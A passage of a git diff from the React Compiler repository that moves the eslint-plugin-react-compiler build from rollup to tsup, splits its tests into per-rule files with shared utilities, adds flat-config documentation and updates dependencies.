+} from './HIR';
+export {
+  printReactiveFunction,
+  printReactiveFunctionWithOutlined,
+} from './ReactiveScopes';
+export {parseConfigPragmaForTests} from './Utils/TestUtils';
 declare global {
+  // @internal
   let __DEV__: boolean | null | undefined;
 }
 
-import BabelPluginReactCompiler from "./Babel/BabelPlugin";
+import BabelPluginReactCompiler from './Babel/BabelPlugin';
 export default BabelPluginReactCompiler;
diff --git a/compiler/packages/babel-plugin-react-compiler/tsconfig.json b/compiler/packages/babel-plugin-react-compiler/tsconfig.json
index 568b1f44ea63..f2f1eb55351c 100644
--- a/compiler/packages/babel-plugin-react-compiler/tsconfig.json
+++ b/compiler/packages/babel-plugin-react-compiler/tsconfig.json
@@ -4,20 +4,19 @@
     "module": "ES2015",
     "moduleResolution": "Bundler",
     "rootDir": "src",
-    "outDir": "dist",
-    // https://github.com/microsoft/TypeScript/issues/30925
-    "tsBuildInfoFile": "dist/tsconfig.tsbuildinfo",
+    "noEmit": true,
     "jsx": "react-jsxdev",
     // weaken strictness from preset
     "importsNotUsedAsValues": "remove",
     "noUncheckedIndexedAccess": false,
     "noUnusedParameters": false,
+    "stripInternal": true,
     "useUnknownInCatchVariables": true,
     "target": "ES2015",
     // ideally turn off only during dev, or on a per-file basis
     "noUnusedLocals": false,
-    "composite": true,
-    "removeComments": true
+    "removeComments": true,
+    "declaration": true,
   },
   "exclude": [
     "node_modules",
diff --git a/compiler/packages/babel-plugin-react-compiler/tsup.config.ts b/compiler/packages/babel-plugin-react-compiler/tsup.config.ts
new file mode 100644
index 000000000000..dde9525256db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/tsup.config.ts
@@ -0,0 +1,35 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/index.ts'],
+  outDir: './dist',
+  external: ['@babel/types'],
+  splitting: false,
+  sourcemap: false,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'node',
+  target: 'es2015',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */`,
+  },
+});
diff --git a/compiler/packages/eslint-plugin-react-compiler/README.md b/compiler/packages/eslint-plugin-react-compiler/README.md
index 1dc11454f2de..3bf175f85e87 100644
--- a/compiler/packages/eslint-plugin-react-compiler/README.md
+++ b/compiler/packages/eslint-plugin-react-compiler/README.md
@@ -18,7 +18,24 @@ npm install eslint-plugin-react-compiler --save-dev
 
 ## Usage
 
-Add `react-compiler` to the plugins section of your `.eslintrc` configuration file. You can omit the `eslint-plugin-` prefix:
+### Flat config
+
+Edit your eslint 8+ config (for example `eslint.config.mjs`) with the recommended configuration:
+
+```diff
++ import reactCompiler from "eslint-plugin-react-compiler"
+import react from "eslint-plugin-react"
+
+export default [
+    // Your existing config
+    { ...pluginReact.configs.flat.recommended, settings: { react: { version: "detect" } } },
++   reactCompiler.configs.recommended    
+]
+```
+
+### Legacy config (`.eslintrc`)
+
+Add `react-compiler` to the plugins section of your configuration file. You can omit the `eslint-plugin-` prefix:
 
 ```json
 {
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/ImpureFunctionCallsRule-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/ImpureFunctionCallsRule-test.ts
new file mode 100644
index 000000000000..f89b049d1003
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/ImpureFunctionCallsRule-test.ts
@@ -0,0 +1,39 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule(
+  'no impure function calls rule',
+  allRules[getRuleForCategory(ErrorCategory.Purity).name].rule,
+  {
+    valid: [],
+    invalid: [
+      {
+        name: 'Known impure function calls are caught',
+        code: normalizeIndent`
+      function Component() {
+        const date = Date.now();
+        const now = performance.now();
+        const rand = Math.random();
+        return <Foo date={date} now={now} rand={rand} />;
+      }
+    `,
+        errors: [
+          makeTestCaseError('Cannot call impure function during render'),
+          makeTestCaseError('Cannot call impure function during render'),
+          makeTestCaseError('Cannot call impure function during render'),
+        ],
+      },
+    ],
+  },
+);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/InvalidHooksRule-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/InvalidHooksRule-test.ts
new file mode 100644
index 000000000000..1fd88935575b
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/InvalidHooksRule-test.ts
@@ -0,0 +1,100 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {normalizeIndent, makeTestCaseError, testRule} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule(
+  'rules-of-hooks',
+  allRules[getRuleForCategory(ErrorCategory.Hooks).name].rule,
+  {
+    valid: [
+      {
+        name: 'Basic example',
+        code: normalizeIndent`
+        function Component() {
+          useHook();
+          return <div>Hello world</div>;
+        }
+      `,
+      },
+      {
+        name: 'Violation with Flow suppression',
+        code: `
+      // Valid since error already suppressed with flow.
+      function useHook() {
+        if (cond) {
+          // $FlowFixMe[react-rule-hook]
+          useConditionalHook();
+        }
+      }
+    `,
+      },
+      {
+        // OK because invariants are only meant for the compiler team's consumption
+        name: '[Invariant] Defined after use',
+        code: normalizeIndent`
+        function Component(props) {
+          let y = function () {
+            m(x);
+          };
+
+          let x = { a };
+          m(x);
+          return y;
+        }
+      `,
+      },
+      {
+        name: "Classes don't throw",
+        code: normalizeIndent`
+        class Foo {
+          #bar() {}
+        }
+      `,
+      },
+    ],
+    invalid: [
+      {
+        name: 'Simple violation',
+        code: normalizeIndent`
+      function useConditional() {
+        if (cond) {
+          useConditionalHook();
+        }
+      }
+    `,
+        errors: [
+          makeTestCaseError(
+            'Hooks must always be called in a consistent order',
+          ),
+        ],
+      },
+      {
+        name: 'Multiple diagnostics within the same function are surfaced',
+        code: normalizeIndent`
+        function useConditional() {
+          cond ?? useConditionalHook();
+          props.cond && useConditionalHook();
+          return <div>Hello world</div>;
+        }`,
+        errors: [
+          makeTestCaseError(
+            'Hooks must always be called in a consistent order',
+          ),
+          makeTestCaseError(
+            'Hooks must always be called in a consistent order',
+          ),
+        ],
+      },
+    ],
+  },
+);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/NoAmbiguousJsxRule-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoAmbiguousJsxRule-test.ts
new file mode 100644
index 000000000000..bb6f4b93b88c
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoAmbiguousJsxRule-test.ts
@@ -0,0 +1,38 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule(
+  'no ambiguous JSX rule',
+  allRules[getRuleForCategory(ErrorCategory.ErrorBoundaries).name].rule,
+  {
+    valid: [],
+    invalid: [
+      {
+        name: 'JSX in try blocks are warned against',
+        code: normalizeIndent`
+      function Component(props) {
+        let el;
+        try {
+          el = <Child />;
+        } catch {
+          return null;
+        }
+        return el;
+      }
+    `,
+        errors: [makeTestCaseError('Avoid constructing JSX within try/catch')],
+      },
+    ],
+  },
+);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/NoCapitalizedCallsRule-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoCapitalizedCallsRule-test.ts
new file mode 100644
index 000000000000..0c75ef968adc
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoCapitalizedCallsRule-test.ts
@@ -0,0 +1,74 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {normalizeIndent, makeTestCaseError, testRule} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule(
+  'no-capitalized-calls',
+  allRules[getRuleForCategory(ErrorCategory.CapitalizedCalls).name].rule,
+  {
+    valid: [],
+    invalid: [
+      {
+        name: 'Simple violation',
+        code: normalizeIndent`
+        import Child from './Child';
+        function Component() {
+          return <>
+            {Child()}
+          </>;
+        }
+      `,
+        errors: [
+          makeTestCaseError(
+            'Capitalized functions are reserved for components',
+          ),
+        ],
+      },
+      {
+        name: 'Method call violation',
+        code: normalizeIndent`
+        import myModule from './MyModule';
+        function Component() {
+          return <>
+            {myModule.Child()}
+          </>;
+        }
+      `,
+        errors: [
+          makeTestCaseError(
+            'Capitalized functions are reserved for components',
+          ),
+        ],
+      },
+      {
+        name: 'Multiple diagnostics within the same function are surfaced',
+        code: normalizeIndent`
+        import Child1 from './Child1';
+        import MyModule from './MyModule';
+        function Component() {
+          return <>
+            {Child1()}
+            {MyModule.Child2()}
+          </>;
+        }`,
+        errors: [
+          makeTestCaseError(
+            'Capitalized functions are reserved for components',
+          ),
+          makeTestCaseError(
+            'Capitalized functions are reserved for components',
+          ),
+        ],
+      },
+    ],
+  },
+);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/NoRefAccessInRender-tests.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoRefAccessInRender-tests.ts
new file mode 100644
index 000000000000..9953c8c21363
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/NoRefAccessInRender-tests.ts
@@ -0,0 +1,34 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule(
+  'no ref access in render rule',
+  allRules[getRuleForCategory(ErrorCategory.Refs).name].rule,
+  {
+    valid: [],
+    invalid: [
+      {
+        name: 'validate against simple ref access in render',
+        code: normalizeIndent`
+      function Component(props) {
+        const ref = useRef(null);
+        const value = ref.current;
+        return value;
+      }
+    `,
+        errors: [makeTestCaseError('Cannot access refs during render')],
+      },
+    ],
+  },
+);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/PluginTest-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/PluginTest-test.ts
new file mode 100644
index 000000000000..fe9f12d255cd
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/PluginTest-test.ts
@@ -0,0 +1,135 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  ErrorCategory,
+  getRuleForCategory,
+} from 'babel-plugin-react-compiler/src/CompilerError';
+import {
+  normalizeIndent,
+  testRule,
+  makeTestCaseError,
+  TestRecommendedRules,
+} from './shared-utils';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+testRule('plugin-recommended', TestRecommendedRules, {
+  valid: [
+    {
+      name: 'Basic example with component syntax',
+      code: normalizeIndent`
+        export default component HelloWorld(
+          text: string = 'Hello!',
+          onClick: () => void,
+        ) {
+          return <div onClick={onClick}>{text}</div>;
+        }
+      `,
+    },
+
+    {
+      // OK because invariants are only meant for the compiler team's consumption
+      name: '[Invariant] Defined after use',
+      code: normalizeIndent`
+            function Component(props) {
+              let y = function () {
+                m(x);
+              };
+    
+              let x = { a };
+              m(x);
+              return y;
+            }
+          `,
+    },
+    {
+      name: "Classes don't throw",
+      code: normalizeIndent`
+            class Foo {
+              #bar() {}
+            }
+          `,
+    },
+  ],
+  invalid: [
+    {
+      name: 'Multiple diagnostic kinds from the same function are surfaced',
+      code: normalizeIndent`
+        import Child from './Child';
+        function Component() {
+          const result = cond ?? useConditionalHook();
+          return <>
+            {Child(result)}
+          </>;
+        }
+      `,
+      errors: [
+        makeTestCaseError('Hooks must always be called in a consistent order'),
+        makeTestCaseError('Capitalized functions are reserved for components'),
+      ],
+    },
+    {
+      name: 'Multiple diagnostics within the same file are surfaced',
+      code: normalizeIndent`
+        function useConditional1() {
+          'use memo';
+          return cond ?? useConditionalHook();
+        }
+        function useConditional2(props) {
+          'use memo';
+          return props.cond && useConditionalHook();
+        }`,
+      errors: [
+        makeTestCaseError('Hooks must always be called in a consistent order'),
+        makeTestCaseError('Hooks must always be called in a consistent order'),
+      ],
+    },
+    {
+      name: "'use no forget' does not disable eslint rule",
+      code: normalizeIndent`
+        let count = 0;
+        function Component() {
+          'use no forget';
+          return cond ?? useConditionalHook();
+
+        }
+      `,
+      errors: [
+        makeTestCaseError('Hooks must always be called in a consistent order'),
+      ],
+    },
+    {
+      name: 'Multiple non-fatal useMemo diagnostics are surfaced',
+      code: normalizeIndent`
+      import {useMemo, useState} from 'react';
+      
+      function Component({item, cond}) {
+        const [prevItem, setPrevItem] = useState(item);
+        const [state, setState] = useState(0);
+        
+        useMemo(() => {
+          if (cond) {
+            setPrevItem(item);
+            setState(0);
+          }
+        }, [cond, item, init]);
+            
+        return <Child x={state} />;
+        }`,
+      errors: [
+        makeTestCaseError('useMemo() callbacks must return a value'),
+        makeTestCaseError(
+          'Calling setState from useMemo may trigger an infinite loop',
+        ),
+        makeTestCaseError(
+          'Calling setState from useMemo may trigger an infinite loop',
+        ),
+        makeTestCaseError('Found extra memoization dependencies'),
+      ],
+    },
+  ],
+});
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRule-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRule-test.ts
deleted file mode 100644
index 3955746176a8..000000000000
--- a/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRule-test.ts
+++ /dev/null
@@ -1,163 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { ErrorSeverity } from "babel-plugin-react-compiler/src";
-import { RuleTester as ESLintTester } from "eslint";
-import ReactCompilerRule from "../src/rules/ReactCompilerRule";
-
-/**
- * A string template tag that removes padding from the left side of multi-line strings
- * @param {Array} strings array of code strings (only one expected)
- */
-function normalizeIndent(strings: TemplateStringsArray): string {
-  const codeLines = strings[0].split("\n");
-  const leftPadding = codeLines[1].match(/\s+/)[0];
-  return codeLines.map((line) => line.slice(leftPadding.length)).join("\n");
-}
-
-type CompilerTestCases = {
-  valid: ESLintTester.ValidTestCase[];
-  invalid: ESLintTester.InvalidTestCase[];
-};
-
-const tests: CompilerTestCases = {
-  valid: [
-    {
-      name: "Basic example",
-      code: normalizeIndent`
-        function foo(x, y) {
-          if (x) {
-            return foo(false, y);
-          }
-          return [y * 10];
-        }
-      `,
-    },
-    {
-      name: "Violation with Flow suppression",
-      code: `
-      // Valid since error already suppressed with flow.
-      function useHookWithHook() {
-        if (cond) {
-          // $FlowFixMe[react-rule-hook]
-          useConditionalHook();
-        }
-      }
-    `,
-    },
-    {
-      name: "Basic example with component syntax",
-      code: normalizeIndent`
-        export default component HelloWorld(
-          text: string = 'Hello!',
-          onClick: () => void,
-        ) {
-          return <div onClick={onClick}>{text}</div>;
-        }
-      `,
-    },
-    {
-      name: "Unsupported syntax",
-      code: normalizeIndent`
-        function foo(x) {
-          var y = 1;
-          return y * x;
-        }
-      `,
-    },
-    {
-      // OK because invariants are only meant for the compiler team's consumption
-      name: "[Invariant] Defined after use",
-      code: normalizeIndent`
-        function Component(props) {
-          let y = function () {
-            m(x);
-          };
-
-          let x = { a };
-          m(x);
-          return y;
-        }
-      `,
-    },
-    {
-      name: "Classes don't throw",
-      code: normalizeIndent`
-        class Foo {
-          #bar() {}
-        }
-      `,
-    },
-    {
-      // TODO(gsn): Move this to invalid test suite, when we turn on
-      // validateRefAccessDuringRender validation
-      name: "[InvalidInput] Ref access during render",
-      code: normalizeIndent`
-        function Component(props) {
-          const ref = useRef(null);
-          const value = ref.current;
-          return value;
-        }
-      `,
-    },
-  ],
-  invalid: [
-    {
-      name: "Reportable levels can be configured",
-      options: [{ reportableLevels: new Set([ErrorSeverity.Todo]) }],
-      code: normalizeIndent`
-        function Foo(x) {
-          var y = 1;
-          return <div>{y * x}</div>;
-        }`,
-      errors: [
-        {
-          message:
-            "(BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration",
-        },
-      ],
-    },
-    {
-      name: "[InvalidReact] ESlint suppression",
-      // Indentation is intentionally weird so it doesn't add extra whitespace
-      code: normalizeIndent`
-  function Component(props) {
-  // eslint-disable-next-line react-hooks/rules-of-hooks
-    return <div>{props.foo}</div>;
-  }`,
-      errors: [
-        {
-          message:
-            "React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior",
-          suggestions: [
-            {
-              output: normalizeIndent`
-  function Component(props) {
-
-    return <div>{props.foo}</div>;
-  }`,
-            },
-          ],
-        },
-        {
-          message:
-            "Definition for rule 'react-hooks/rules-of-hooks' was not found.",
-        },
-      ],
-    },
-  ],
-};
-
-const eslintTester = new ESLintTester({
-  parser: require.resolve("hermes-eslint"),
-  parserOptions: {
-    ecmaVersion: 2015,
-    sourceType: "module",
-    enableExperimentalComponentSyntax: true,
-  },
-});
-eslintTester.run("react-compiler", ReactCompilerRule, tests);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRuleTypescript-test.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRuleTypescript-test.ts
index 9c44f62ef81e..87baf724e121 100644
--- a/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRuleTypescript-test.ts
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRuleTypescript-test.ts
@@ -5,29 +5,18 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { RuleTester } from "eslint";
-import ReactCompilerRule from "../src/rules/ReactCompilerRule";
-
-/**
- * A string template tag that removes padding from the left side of multi-line strings
- * @param {Array} strings array of code strings (only one expected)
- */
-function normalizeIndent(strings: TemplateStringsArray): string {
-  const codeLines = strings[0].split("\n");
-  const leftPadding = codeLines[1].match(/\s+/)[0];
-  return codeLines.map((line) => line.slice(leftPadding.length)).join("\n");
-}
-
-type CompilerTestCases = {
-  valid: RuleTester.ValidTestCase[];
-  invalid: RuleTester.InvalidTestCase[];
-};
+import {RuleTester} from 'eslint';
+import {
+  CompilerTestCases,
+  normalizeIndent,
+  TestRecommendedRules,
+} from './shared-utils';
 
 const tests: CompilerTestCases = {
   valid: [
     {
-      name: "Basic example",
-      filename: "test.tsx",
+      name: 'Basic example',
+      filename: 'test.tsx',
       code: normalizeIndent`
         function Button(props) {
           return null;
@@ -35,8 +24,8 @@ const tests: CompilerTestCases = {
       `,
     },
     {
-      name: "Repro for hooks as normal values",
-      filename: "test.tsx",
+      name: 'Repro for hooks as normal values',
+      filename: 'test.tsx',
       code: normalizeIndent`
         function Button(props) {
           const scrollview = React.useRef<ScrollView>(null);
@@ -47,8 +36,8 @@ const tests: CompilerTestCases = {
   ],
   invalid: [
     {
-      name: "Mutating useState value",
-      filename: "test.tsx",
+      name: 'Mutating useState value',
+      filename: 'test.tsx',
       code: `
         import { useState } from 'react';
         function Component(props) {
@@ -61,8 +50,7 @@ const tests: CompilerTestCases = {
       `,
       errors: [
         {
-          message:
-            "Mutating a value returned from 'useState()', which should not be mutated. Use the setter function to update instead",
+          message: /Modifying a value returned from 'useState\(\)'/,
           line: 7,
         },
       ],
@@ -71,6 +59,7 @@ const tests: CompilerTestCases = {
 };
 
 const eslintTester = new RuleTester({
-  parser: require.resolve("@typescript-eslint/parser"),
+  // @ts-ignore[2353] - outdated types
+  parser: require.resolve('@typescript-eslint/parser'),
 });
-eslintTester.run("react-compiler", ReactCompilerRule, tests);
+eslintTester.run('react-compiler', TestRecommendedRules, tests);
diff --git a/compiler/packages/eslint-plugin-react-compiler/__tests__/shared-utils.ts b/compiler/packages/eslint-plugin-react-compiler/__tests__/shared-utils.ts
new file mode 100644
index 000000000000..b0523f522c96
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/__tests__/shared-utils.ts
@@ -0,0 +1,76 @@
+import {RuleTester as ESLintTester, Rule} from 'eslint';
+import {type ErrorCategory} from 'babel-plugin-react-compiler/src/CompilerError';
+import escape from 'regexp.escape';
+import {configs} from '../src/index';
+import {allRules} from '../src/rules/ReactCompilerRule';
+
+/**
+ * A string template tag that removes padding from the left side of multi-line strings
+ * @param {Array} strings array of code strings (only one expected)
+ */
+export function normalizeIndent(strings: TemplateStringsArray): string {
+  const codeLines = strings[0].split('\n');
+  const leftPadding = codeLines[1].match(/\s+/)![0];
+  return codeLines.map(line => line.slice(leftPadding.length)).join('\n');
+}
+
+export type CompilerTestCases = {
+  valid: ESLintTester.ValidTestCase[];
+  invalid: ESLintTester.InvalidTestCase[];
+};
+
+export function makeTestCaseError(reason: string): ESLintTester.TestCaseError {
+  return {
+    message: new RegExp(escape(reason)),
+  };
+}
+
+export function testRule(
+  name: string,
+  rule: Rule.RuleModule,
+  tests: {
+    valid: ESLintTester.ValidTestCase[];
+    invalid: ESLintTester.InvalidTestCase[];
+  },
+): void {
+  const eslintTester = new ESLintTester({
+    // @ts-ignore[2353] - outdated types
+    parser: require.resolve('hermes-eslint'),
+    parserOptions: {
+      ecmaVersion: 2015,
+      sourceType: 'module',
+      enableExperimentalComponentSyntax: true,
+    },
+  });
+
+  eslintTester.run(name, rule, tests);
+}
+
+/**
+ * Aggregates all recommended rules from the plugin.
+ */
+export const TestRecommendedRules: Rule.RuleModule = {
+  meta: {
+    type: 'problem',
+    docs: {
+      description: 'Disallow capitalized function calls',
+      category: 'Possible Errors',
+      recommended: true,
+    },
+    // validation is done at runtime with zod
+    schema: [{type: 'object', additionalProperties: true}],
+  },
+  create(context) {
+    for (const ruleConfig of Object.values(
+      configs.recommended.plugins['react-compiler'].rules,
+    )) {
+      const listener = ruleConfig.rule.create(context);
+      if (Object.entries(listener).length !== 0) {
+        throw new Error('TODO: handle rules that return listeners to eslint');
+      }
+    }
+    return {};
+  },
+};
+
+test('no test', () => {});
diff --git a/compiler/packages/eslint-plugin-react-compiler/babel.config.js b/compiler/packages/eslint-plugin-react-compiler/babel.config.js
index 9000ffa9e574..9be68a85b7fe 100644
--- a/compiler/packages/eslint-plugin-react-compiler/babel.config.js
+++ b/compiler/packages/eslint-plugin-react-compiler/babel.config.js
@@ -6,10 +6,9 @@
  */
 
 module.exports = {
-  presets: ["@babel/preset-env", "@babel/preset-typescript"],
+  presets: ['@babel/preset-env', '@babel/preset-typescript'],
   plugins: [
-    ["@babel/plugin-transform-private-property-in-object", { loose: true }],
-    ["@babel/plugin-transform-class-properties", { loose: true }],
-    ["@babel/plugin-transform-private-methods", { loose: true }],
+    ['@babel/plugin-transform-private-property-in-object', {loose: true}],
+    ['@babel/plugin-transform-class-properties', {loose: true}],
   ],
 };
diff --git a/compiler/packages/eslint-plugin-react-compiler/package.json b/compiler/packages/eslint-plugin-react-compiler/package.json
index 2a3151133491..3dd77d0e8bf3 100644
--- a/compiler/packages/eslint-plugin-react-compiler/package.json
+++ b/compiler/packages/eslint-plugin-react-compiler/package.json
@@ -1,11 +1,12 @@
 {
   "name": "eslint-plugin-react-compiler",
-  "version": "0.0.0-experimental-8ae29d2-20240614",
+  "version": "0.0.0-experimental-9ed098e-20240725",
   "description": "ESLint plugin to display errors found by the React compiler.",
   "main": "dist/index.js",
   "scripts": {
-    "build": "rimraf dist && rollup --config --bundleConfigAsCjs",
-    "test": "tsc && jest"
+    "build": "rimraf dist && tsup",
+    "test": "jest",
+    "watch": "yarn build --watch"
   },
   "files": [
     "dist"
@@ -13,21 +14,22 @@
   "dependencies": {
     "@babel/core": "^7.24.4",
     "@babel/parser": "^7.24.4",
-    "@babel/plugin-proposal-private-methods": "^7.18.6",
-    "hermes-parser": "^0.20.1",
-    "zod": "^3.22.4",
-    "zod-validation-error": "^3.0.3"
+    "hermes-parser": "^0.25.1",
+    "zod": "^3.25.0 || ^4.0.0",
+    "zod-validation-error": "^3.5.0 || ^4.0.0"
   },
   "devDependencies": {
     "@babel/preset-env": "^7.22.4",
     "@babel/preset-typescript": "^7.18.6",
-    "@babel/types": "^7.19.0",
-    "@types/eslint": "^8.56.6",
+    "@babel/types": "^7.26.0",
+    "@types/eslint": "^8.56.12",
+    "@types/jest": "^30.0.0",
     "@types/node": "^20.2.5",
     "babel-jest": "^29.0.3",
     "eslint": "8.57.0",
-    "hermes-eslint": "^0.17.1",
-    "jest": "^29.5.0"
+    "hermes-eslint": "^0.25.1",
+    "jest": "^29.5.0",
+    "regexp.escape": "^2.0.1"
   },
   "engines": {
     "node": "^14.17.0 || ^16.0.0 || >= 18.0.0"
@@ -35,5 +37,10 @@
   "peerDependencies": {
     "eslint": ">=7"
   },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/eslint-plugin-react-compiler"
+  },
   "license": "MIT"
 }
diff --git a/compiler/packages/eslint-plugin-react-compiler/rollup.config.js b/compiler/packages/eslint-plugin-react-compiler/rollup.config.js
deleted file mode 100644
index 8972c876c884..000000000000
--- a/compiler/packages/eslint-plugin-react-compiler/rollup.config.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import typescript from "@rollup/plugin-typescript";
-import { nodeResolve } from "@rollup/plugin-node-resolve";
-import commonjs from "@rollup/plugin-commonjs";
-import json from "@rollup/plugin-json";
-import path from "path";
-import process from "process";
-import terser from "@rollup/plugin-terser";
-import prettier from "rollup-plugin-prettier";
-import banner2 from "rollup-plugin-banner2";
-
-const NO_INLINE = new Set([
-  "@babel/core",
-  "@babel/plugin-proposal-private-methods",
-  "hermes-parser",
-  "zod",
-  "zod-validation-error",
-]);
-
-const DEV_ROLLUP_CONFIG = {
-  input: "src/index.ts",
-  output: {
-    file: "dist/index.js",
-    format: "cjs",
-    sourcemap: false,
-  },
-  treeshake: {
-    moduleSideEffects: false,
-  },
-  plugins: [
-    typescript({
-      compilerOptions: {
-        noEmit: true,
-      },
-    }),
-    json(),
-    nodeResolve({
-      preferBuiltins: true,
-      resolveOnly: (module) => NO_INLINE.has(module) === false,
-      rootDir: path.join(process.cwd(), ".."),
-    }),
-    commonjs(),
-    terser({
-      format: {
-        comments: false,
-      },
-      compress: false,
-      mangle: false,
-    }),
-    prettier(),
-    banner2(
-      () => `/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @lightSyntaxTransform
- * @noflow
- * @nolint
- * @preventMunge
- * @preserve-invariant-messages
- */
-
-"use no memo";
-`
-    ),
-  ],
-};
-
-export default DEV_ROLLUP_CONFIG;
diff --git a/compiler/packages/eslint-plugin-react-compiler/src/index.ts b/compiler/packages/eslint-plugin-react-compiler/src/index.ts
index e076d07b2fc3..3f0c7bcdcb05 100644
--- a/compiler/packages/eslint-plugin-react-compiler/src/index.ts
+++ b/compiler/packages/eslint-plugin-react-compiler/src/index.ts
@@ -5,10 +5,37 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import ReactCompilerRule from "./rules/ReactCompilerRule";
+import {type Linter} from 'eslint';
+import {
+  allRules,
+  mapErrorSeverityToESlint,
+  recommendedRules,
+} from './rules/ReactCompilerRule';
 
-module.exports = {
-  rules: {
-    "react-compiler": ReactCompilerRule,
+const meta = {
+  name: 'eslint-plugin-react-compiler',
+};
+
+const configs = {
+  recommended: {
+    plugins: {
+      'react-compiler': {
+        rules: allRules,
+      },
+    },
+    rules: Object.fromEntries(
+      Object.entries(recommendedRules).map(([name, ruleConfig]) => {
+        return [
+          'react-compiler/' + name,
+          mapErrorSeverityToESlint(ruleConfig.severity),
+        ];
+      }),
+    ) as Record<string, Linter.StringSeverity>,
   },
 };
+
+const rules = Object.fromEntries(
+  Object.entries(allRules).map(([name, {rule}]) => [name, rule]),
+);
+
+export {configs, rules, meta};
diff --git a/compiler/packages/eslint-plugin-react-compiler/src/rules/ReactCompilerRule.ts b/compiler/packages/eslint-plugin-react-compiler/src/rules/ReactCompilerRule.ts
index 7c46cf0b8845..8f41b3afaba4 100644
--- a/compiler/packages/eslint-plugin-react-compiler/src/rules/ReactCompilerRule.ts
